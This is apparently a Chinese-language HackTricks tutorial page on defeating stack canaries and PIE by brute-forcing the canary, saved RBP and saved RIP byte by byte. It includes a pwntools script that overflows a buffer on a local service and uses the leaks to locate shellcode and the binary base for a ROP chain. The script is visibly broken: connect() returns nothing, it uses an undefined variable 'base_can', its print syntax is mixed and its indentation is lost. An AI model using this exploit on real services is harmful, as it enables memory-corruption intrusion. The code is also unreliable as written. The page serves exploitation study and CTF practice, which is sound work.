BF 地址在栈中

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。

note

请注意,checksec 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。
然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查了这个值,你可以手动注意到这一点。

暴力破解地址

为了绕过 PIE,你需要泄露一些地址。如果二进制文件没有泄露任何地址,最好的方法是暴力破解在脆弱函数中保存的 RBP 和 RIP
例如,如果一个二进制文件同时使用了 canaryPIE 保护,你可以开始暴力破解 canary,然后下一个 8 字节(x64)将是保存的 RBP下一个 8 字节将是保存的 RIP

tip

假设栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常会是这种情况。

要从二进制文件中暴力破解 RBP 和 RIP,你可以判断一个有效的猜测字节是否正确,如果程序输出了某些内容或者它没有崩溃。可以使用与暴力破解 canary 提供的相同函数来暴力破解 RBP 和 RIP:

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

要击败 PIE,您需要做的最后一件事是计算 从泄露的地址中获取有用的地址RBPRIP

RBP 您可以计算 您在栈中写入 shell 的位置。这对于知道您将要在栈中写入字符串 "/bin/sh\x00" 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离,您只需在泄露 RBP 后放置一个 断点 并检查 您的 shellcode 位于何处,然后,您可以计算 shellcode 和 RBP 之间的距离:

python
INI_SHELLCODE = RBP - 1152

RIP 你可以计算出 PIE 二进制文件的基地址,这是你创建 有效 ROP 链 所需要的。
要计算基地址,只需执行 objdump -d vunbinary 并检查最新的反汇编地址:

在这个例子中,你可以看到只需要 1.5 字节 来定位所有代码,因此,在这种情况下,基地址将是 泄露的 RIP,但以 "000" 结尾。例如,如果你泄露了 0x562002970ecf,基地址就是 0x562002970000

python
elf.address = RIP - (RIP & 0xfff)

改进

根据这篇文章的一些观察,在泄露RBP和RIP值时,服务器可能不会因某些不是正确的值而崩溃,而BF脚本会认为它得到了正确的值。这是因为某些地址即使不是完全正确的,也可能不会导致崩溃

根据那篇博客文章,建议在对服务器的请求之间添加短暂的延迟。

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks